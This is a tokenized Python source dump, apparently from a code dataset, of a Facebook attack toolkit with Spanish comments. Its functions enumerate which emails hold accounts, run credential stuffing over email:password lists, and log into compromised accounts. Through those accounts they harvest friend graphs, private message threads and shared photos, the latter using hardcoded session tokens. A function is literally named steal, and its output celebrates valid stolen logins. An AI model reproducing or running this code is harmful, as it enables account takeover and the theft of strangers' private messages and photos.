"\\u\\u\\uNL\\u\\u\\u_", "if_", "mutual", "Friend", "ID_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "Friend", "ID_", "=_", "mutual", "Friend", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "database_", "._", "add", "Node_", "(_", "victim", "_", ",_", "mutual", "Friend", "_", ",_", "mutual", "Friend", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "add", "Edge_", "(_", "victim", "_", ",_", "transiti", "ve_", ",_", "transiti", "ve", "ID_", ",_", "mutual", "Friend", "_", ",_", "mutual", "Friend", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "take", "Photos", "_", "(_", "threads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "mass", "ive", "\"_", ",_", "\"", "fot", "os", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "mass", "ive", "\"_", ",_", "threads_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "thread", "List_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "f_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "thread", "List_", "._", "append_", "(_", "str_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "message_", "in_", "thread", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "thread", "\\u", "id", "'_", ":_", "message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "offset", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "limit", "'_", ":_", "'", "30", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "a", "J", "j", "2", "BW", "9", "t2", "lm", "9", "b8", "8", "Dg", "DD", "x2", "IG", "AK", "h", "9", "Vo", "W", "9", "J", "6", "y", "Ug", "By", "Vb", "Fk", "GQ", "hb", "H", "z", "6", "C", "-", "CE", "y", "5", "po", "k", "AWA", "Vb", "GF", "Qi", "ua", "BK", "Aq", "h", "B", "-", "im", "SC", "i", "Z", "3", "oy", "q", "4", "U", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "40", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "973", "899", "779", "122", "887", "410", "295", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "145", "897", "3", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "mess", "agin", "g", "/", "attach", "ment", "s", "/", "shared", "photo", "s", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "._", "write_", "(_", "text_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "robo", " ", "de", " ", "fot", "os", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Error", " ", "in", " ", "robo", " ", "de", " ", "fot", "os", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "to", "\\u", "parse_", "=_", "str_", "(_", "text_", ")_", "._", "strip_", "(_", "'", "for", " ", "(", ";", ";)", ";'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resultado_", "=_", "json_", "._", "loads_", "(_", "to", "\\u", "parse_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "URLS_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "element_", "in_", "resultado_", "[_", "'", "payload", "'_", "]_", "[_", "'", "images", "Data", "'_", "]_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "URLS_", "._", "append_", "(_", "resultado_", "[_", "'", "payload", "'_", "]_", "[_", "'", "images", "Data", "'_", "]_", "[_", "element_", "]_", "[_", "'", "URI", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "URL_", "in_", "URLS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fot", "os_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "'", "mass", "ive", "'_", ",_", "'", "photo", "s", "'_", ",_", "str_", "(_", "int_", "(_", "time_", "(_", ")_", ")_", ")_", "+_", "'.", "jp", "g", "'_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "=_", "br_", "._", "open_", "(_", "URL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fot", "os_", "._", "write_", "(_", "handler_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fot", "os_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "URLS_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "no", " ", "attach", "ment", " ", "in", " ", "thread", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "r_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "account", "exists_", "(_", "mail", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password_", "=_", "'#", "FB", "HT", "Enumerate", "User", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mails", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mail", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "mail", "List_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "File", " ", "%", "s", " ", "doe", "sn", "\\\\'", "t", " ", "exist", "'_", "%_", "mail", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "existence", "\"_", ",_", "\"", "verifie", "d", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "existence", "\"_", ",_", "\"", "verifie", "d", ".", "txt", "\"_", ")_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "mail", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "line_", ":_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mails", "_", "._", "append_", "(_", "line_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mail", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "driver_", "=_", "webdriver_", "._", "Fire", "fox", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "email_", "in_", "mails", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Access", " ", "the", " ", "login", " ", "page", " ", "to", " ", "get", " ", "the", " ", "forms_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "driver_", "._", "delete", "\\u", "all", "\\u", "cookies_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "driver_", "._", "get_", "(_", "\"", "https", "://", "www", ".", "facebook", ".", "com", "/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "\"", "Face", "book", "\"_", "in_", "driver_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elem_", "=_", "driver_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "name_", "(_", "\"", "email", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elem_", "._", "send", "\\u", "keys_", "(_", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elem_", "=_", "driver_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "name_", "(_", "\"", "pass", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elem_", "._", "send", "\\u", "keys_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elem_", "._", "send", "\\u", "keys_", "(_", "Keys_", "._", "RETURN_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "driver_", "._", "page", "\\u", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "'", "Por", " ", "fav", "or", ",", " ", "vu", "elv", "e", " ", "a", " ", "intro", "duci", "r", " ", "tu", " ", "contra", "se", "'_", ",_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "email_", "+_", "'", " ", "Cue", "nta", " ", "existen", "te", " ", ":", "D", " ", "!!", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "existence", "\"_", ",_", "\"", "verifie", "d", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "write_", "(_", "email_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "email_", "+_", "'", " ", "Cue", "nta", " ", "ine", "xist", "ente", " ", ":(", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Fat", "al", " ", "error", " ", "whi", "le", " ", "submit", "ting", " ", "the", " ", "login", " ", "form", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Fat", "al", " ", "error", " ", "whi", "le", " ", "submit", "ting", " ", "the", " ", "login", " ", "form", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "driver_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "Login_", "(_", "mail", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "blocked_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "logged", "in", "\"_", ",_", "\"", "Log", "ged", "in", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "logged", "in", "\"_", ",_", "\"", "Log", "ged", "in", ".", "txt", "\"_", ")_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mails", "_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "mail", "List_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'%", "s", " ", "doe", "sn", "\\\\'", "t", " ", "exist", " ", "in", " ", "PRIVATE", " ", "folder", "'_", "%_", "mail", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cred", "encia", "les_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "email_", "=_", "mails", "_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "email_", ":_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "email_", "._", "find_", "(_", "\":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cred", "encia", "les_", "[_", "email_", "[_", "0_", ":_", "index_", "]_", "]_", "=_", "email_", "[_", "index_", "+_", "1_", ":_", "]_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "credentials_", "=_", "cred", "encia", "les_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shuffle_", "(_", "credentials_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "emails_", "in_", "credentials_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "login_", "(_", "emails_", ",_", "cred", "encia", "les_", "[_", "emails_", "]_", ",_", "'", "real", "'_", ")_", "!=_", "-_", "1_", ")_", "or_", "(_", "blocked_", "==_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "logged", "in", "\"_", ",_", "\"", "Log", "ged", "in", ".", "txt", "\"_", ")_", ",_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "write_", "(_", "emails_", "+_", "':'_", "+_", "cred", "encia", "les_", "[_", "emails_", "]_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "emails_", "+_", "'", " ", "valid", " ", "email", " ", "and", " ", "pass", "ow", "rd", "!!!", " ", "MOT", "HER", " ", "KA", "KER", "RR", "RR", " ", ":", "D", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blocked_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "emails_", "+_", "'", " ", "not", " ", "valid", " ", "email", " ", "or", " ", "password", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Signal", " ", "cau", "ght", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stea", "l_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "blocked_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verified_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "PRIVATE", "\"_", ",_", "\"", "logged", "in", "\"_", ",_", "\"", "Log", "ged", "in", ".", "txt", "\"_", ")_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "File", " ", "Log", "ged", "in", ".", "txt", " ", "not", " ", "found", " ", "in", " ", "logged", "in", " ", "folder", ",", " ", "you", " ", "shou", "ld", " ", "try", " ", "it", " ", "again", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cred", "encia", "les_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "email_", "=_", "verified_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "email_", ":_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "email_", "._", "find_", "(_", "\":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cred", "encia", "les_", "[_", "email_", "[_", "0_", ":_", "index_", "]_", "]_", "=_", "email_", "[_", "index_", "+_", "1_", ":_", "]_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "emails_", "in_", "cred", "encia", "les_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "login_", "(_", "emails_", ",_", "cred", "encia", "les_", "[_", "emails_", "]_", ",_", "'", "real", "'_", ")_", "!=_", "-_", "1_", ")_", "or_", "(_", "blocked_", "==_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "emails_", "+_", "'", " ", "valid", " ", "email", " ", "and", " ", "pass", "ow", "rd", "!!!", " ", "MOT", "HER", " ", "KA", "KER", "RR", "RR", " ", ":", "D", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "blocked_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blocked_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Account", " ", "valid", ",", " ", "but", " ", "block", "ed", " ", "due", " ", "to", " ", "location", " ", "issue", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check_", "=_", "check", "Priva", "cy_", "(_", "'", "me", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "username_", "=_", "check", "Me_", "(_", "\"", "me", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "List_", ",_", "friends", "Name_", "=_", "friends", "hip", "Plot_", "(_", "check_", ",_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Threads_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "mass", "ive", "\"_", ",_", "\"", "thread", "s", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "friends_", "in_", "frie", "nd", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "file", "Threads_", "._", "write_", "(_", "friends_", "+_", "'\\\\", 